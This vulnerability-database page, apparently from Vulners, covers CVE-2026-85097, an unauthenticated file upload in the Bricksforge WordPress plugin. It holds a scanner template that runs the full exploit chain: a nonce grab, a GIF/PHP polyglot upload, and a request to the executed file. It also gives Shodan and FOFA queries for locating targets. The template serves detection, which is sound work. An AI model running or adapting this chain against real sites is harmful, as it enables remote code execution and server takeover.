Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for CVE-2026-85097 | 12 Oct 202616:15 | – | githubexploit | |
| Exploit for CVE-2026-85097 | 10 Oct 202604:51 | – | githubexploit | |
| Exploit for CVE-2026-85097 | 14 Oct 202601:08 | – | githubexploit | |
| Exploit for CVE-2026-85097 | 15 Oct 202612:41 | – | githubexploit | |
| CVE-2026-85097 | 8 Oct 202608:07 | – | circl | |
| CVE-2026-85097 | 8 Oct 202606:42 | – | cve | |
| CVE-2026-85097 Bricksforge <= 3.1.8.9 - Unauthenticated Arbitrary File Upload via 'temporaryFileUploads' Parameter | 8 Oct 202606:42 | – | cvelist | |
| EUVD-2026-94793 | 8 Oct 202606:42 | – | euvd | |
| CVE-2026-85097 | 8 Oct 202607:16 | – | nvd | |
| WordPress Bricksforge plugin <= 3.1.8.9 - Unauthenticated Arbitrary File Upload via 'temporaryFileUploads' Parameter vulnerability | 7 Oct 202617:51 | – | patchstack |
10
id: CVE-2026-85097
info:
name: Bricksforge WordPress Plugin <=3.1.8.9 - Unauthenticated Arbitrary File Upload
author: DhiyaneshDk
severity: critical
description: |
Bricksforge WordPress plugin versions up to and including 3.1.8.9 are vulnerable to unauthenticated arbitrary file upload leading to remote code execution. An attacker obtains a wp_rest nonce via the bricksforge_regenerate_nonce AJAX action, uploads a GIF/PHP polyglot through the form_file_upload REST endpoint with the nonce in the X-WP-Nonce header, then triggers form_submit to copy the file to the WordPress media uploads directory where it executes as PHP. Requires a published Bricks Pro Form with a file field on the target; the post_id, form_id, and field_id template variables must be set accordingly.
impact: |
An unauthenticated attacker can upload and execute arbitrary PHP code on the web server, leading to full server compromise.
remediation:
Update Bricksforge to version 3.1.8.10, 4.0.1, or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-85097
- https://github.com/BlackHatExploitation/CVE-2026-85097
- https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-85097
epss-score: 0.00312
epss-percentile: 0.2284
cwe-id: CWE-434
metadata:
verified: true
max-request: 5
vendor: bricksforge
product: bricksforge
framework: wordpress
shodan-query: 'http.html:"wp-content/plugins/bricksforge"'
fofa-query: 'body="wp-content/plugins/bricksforge"'
tags: cve,cve2026,wordpress,wp-plugin,bricksforge,file-upload,rce,unauth,intrusive,vkev
variables:
marker: "{{rand_text_alpha(12)}}"
probe: "{{rand_text_alpha(8)}}"
gif_name: "{{rand_text_alpha(8)}}"
post_id: "6"
form_id: "frmaaa"
field_id: "file"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
GET /wp-content/plugins/bricksforge/README.txt HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/plugins/bricksforge/readme.txt HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "bricksforge"
case-insensitive: true
internal: true
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: bf_version
part: body
regex:
- 'Stable tag:\s*([0-9.]+)'
group: 1
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=bricksforge_regenerate_nonce
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: json
name: bf_nonce
part: body
json:
- ".data.nonce"
internal: true
- raw:
- |
POST /wp-json/bricksforge/v1/form_file_upload HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{bf_nonce}}
Content-Type: multipart/form-data; boundary=BFProbeUpload7391625
--BFProbeUpload7391625
Content-Disposition: form-data; name="file[]"; filename="{{gif_name}}.gif"
Content-Type: image/gif
GIF89a<?php echo '{{marker}}'; ?>
--BFProbeUpload7391625--
matchers:
- type: regex
part: body
regex:
- '"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"'
internal: true
extractors:
- type: regex
name: tmp_file_path
part: body
regex:
- '"file"\s*:\s*"((?:\\/|/)[^"]+\.gif)"'
group: 1
internal: true
- raw:
- |
POST /wp-json/bricksforge/v1/form_submit HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{bf_nonce}}
Content-Type: application/x-www-form-urlencoded
postId={{post_id}}&formId={{form_id}}&formIdFallback={{form_id}}&fieldIds=%7B%22{{field_id}}%22%3A%22{{field_id}}%22%7D&temporaryFileUploads=%5B%7B%22field%22%3A%22form-field-{{field_id}}%22%2C%22file%22%3A%7B%22file%22%3A%22{{tmp_file_path}}%22%2C%22url%22%3A%22{{Scheme}}%3A%2F%2F{{Hostname}}%2Fwp-content%2Fuploads%2Fbricksforge%2Ftmp%2F{{probe}}.php%22%2C%22type%22%3A%22image%2Fgif%22%7D%7D%5D&form-field-{{field_id}}=
matchers:
- type: status
status:
- 200
internal: true
extractors:
- type: regex
name: up_year
part: body
regex:
- 'uploads\\?/(\d{4})\\?/\d{2}\\?/[^"\\]*\.php'
group: 1
internal: true
- type: regex
name: up_month
part: body
regex:
- 'uploads\\?/\d{4}\\?/(\d{2})\\?/[^"\\]*\.php'
group: 1
internal: true
- raw:
- |
GET /wp-content/uploads/{{up_year}}/{{up_month}}/{{probe}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{marker}}"
- type: status
status:
- 200
# digest: 490a00463044022005f794adf40f59ed6fc7e0c49a408bf74595d06ab17da2ad22dcb42ce21f0e0d02206fe6e9041ca1e8c93e25517cb13c4a954c2db4570f52f199450b66157712c47e:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Oct 2026 11:40Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
EPSS0.01292
SSVC